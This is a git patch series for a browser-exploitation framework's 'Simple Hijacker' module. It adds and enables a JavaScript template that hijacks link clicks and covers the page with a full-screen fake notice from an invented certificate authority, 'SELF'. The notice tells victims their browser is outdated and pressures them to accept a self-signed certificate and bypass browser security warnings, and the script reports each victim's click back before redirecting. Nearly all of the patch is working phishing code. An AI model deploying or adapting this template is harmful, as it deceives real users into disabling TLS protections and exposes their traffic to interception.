From 104f8189d368e79eef0d43a75e3db940314efb64 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Mon, 1 Oct 2012 16:06:45 +0200 Subject: [PATCH 1/2] added chromecertbeggar2.js --- .../templates/chromecertbeggar2.js | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js diff --git a/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js new file mode 100644 index 000000000..10313456e --- /dev/null +++ b/modules/social_engineering/simple_hijacker/templates/chromecertbeggar2.js @@ -0,0 +1,71 @@ + getDomain = function(url){ + return url.match(/:\/\/(www\.)?(.[^/:]+)/)[2]; + } + + toggleMoreInfo = function(collapse) { + if (collapse) { + $("more_info_long").style.display = "none"; + $("more_info_short").style.display = "block"; + } else { + $("more_info_long").style.display = "block"; + $("more_info_short").style.display = "none"; + } + } + setDirectionSensitiveImages = function () { + if (document.documentElement.dir == 'rtl') { + $("twisty_closed_rtl").style.display = "inline"; + } else { + $("twisty_closed").style.display = "inline"; + } + } + + target = $j(this).attr('href'); + domain = getDomain(target); + +//Assets + warning = ''; + backgreen = ''; + backred = ''; + locker = 'SSL SELF Icon'; + textGreen = ''+domain+' chose SELF® to protect your security. If your browser raises any warning when continuing it means that it\'s not up-to-date. Accept this certificate then please consider updating your browser as soon as possible.

SELF® - to make the Internet a safer place.'; + textRed = 'Your browser raised a warning because it is not up to date. As '+domain+' chose SELF® to protect your security you need to ACCEPT this certificate to view its content then please consider update your browser as soon as possible. When your browser will be up to date, it will accept SELF®-signed certificates. Please bypass any warning until then.

SELF® - to make the Internet a safer place.'; + arrows = '
read more about the SELF® certification authority
read more about the SELF® certification authority

Security Enhanced Layer Factory®: because nobody of us cannot realize the full potential of the Internet, unless it is a reliable place to interact and to deal. Our dependence on computers and the Internet increases every day, like our vulnerability. Daily news reports confirm a clear and present danger to all the Internet users (worms, viruses, trojans, malware, cybercrime, cyber-terrorism and related threats). These threats, mainly the very sophisticated group work of organized crime, directly harm millions of Internet users have real confidence in the Internet. Every individual or the company using the Internet has a role in the restoring of trust. SELF® help people as customer or seller to feel safe by issuing SELF®-signed certificate that are build to last. With SELF® you will never be harmed again - Trust is our workship.

Security Enhanced Layer Factory®, SELF® and SELF® logo are registered trademarks.

'; + + buildtpl = function(target, background, icon, text, addarrows){ + tpl='
'+background+'
'+icon+'
Please accept our new SELF®-Signed Certificate to ensure maximum security protection.
'+text+'
'; + + if(addarrows){ + tpl = tpl + arrows+'
'; + target.innerHTML = tpl; + toggleMoreInfo(true); + setDirectionSensitiveImages(); + }else{ + tpl = tpl + ''; + target.innerHTML = tpl; + } + } + + forward = function(){ + send("User continuing to "+target); + timer=setTimeout(function(){timer2=setTimeout(function(){buildtpl(sneakydiv, backred, warning, textRed, true);},400);window.location = target;},500); + } + + function $(o) {return document.getElementById(o);} + + sendCommand = function(cmd) { + window.domAutomationController.setAutomationId(1); + window.domAutomationController.send(cmd); + } + + $j(document).attr('title', domain+" Security Enhanced Layer Factory® certificate acceptance"); + imgbootstrap = document.createElement('div'); + imgbootstrap.setAttribute('style','display:none'); + document.body.appendChild(imgbootstrap); + document.body.removeChild(imgbootstrap); + buildtpl(imgbootstrap, backred, warning, textRed, false) + sneakydiv = document.createElement('div'); + sneakydiv.setAttribute('id', 'background'); + sneakydiv.setAttribute('oncontextmenu','return false;'); + sneakydiv.setAttribute('style', 'overflow:hidden;position:absolute;width:100%;height:100%;top:0px;left:0px;z-index:51;opacity:1;background-color:#13771f; font-family:Helvetica,Arial,sans-serif; margin:0px;'); + document.body.appendChild(sneakydiv); + buildtpl(sneakydiv, backgreen, locker, textGreen, true); From 7e43e15838149b2a543e47513892e6d94c875e0c Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Mon, 1 Oct 2012 16:11:18 +0200 Subject: [PATCH 2/2] modified config.yaml of simple_hijacker to activate chromecertbeggar2.js template --- modules/social_engineering/simple_hijacker/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/social_engineering/simple_hijacker/config.yaml b/modules/social_engineering/simple_hijacker/config.yaml index 8fbb9209d..b131f91ba 100644 --- a/modules/social_engineering/simple_hijacker/config.yaml +++ b/modules/social_engineering/simple_hijacker/config.yaml @@ -20,7 +20,7 @@ beef: category: "Social Engineering" name: "Simple Hijacker" description: "Hijack clicks on links to display what you want." - templates: ["credential", "confirmbox", "amazon", "chromecertbeggar"] + templates: ["credential", "confirmbox", "amazon", "chromecertbeggar", "chromecertbeggar2"] authors: ["gallypette"] target: user_notify: ['ALL']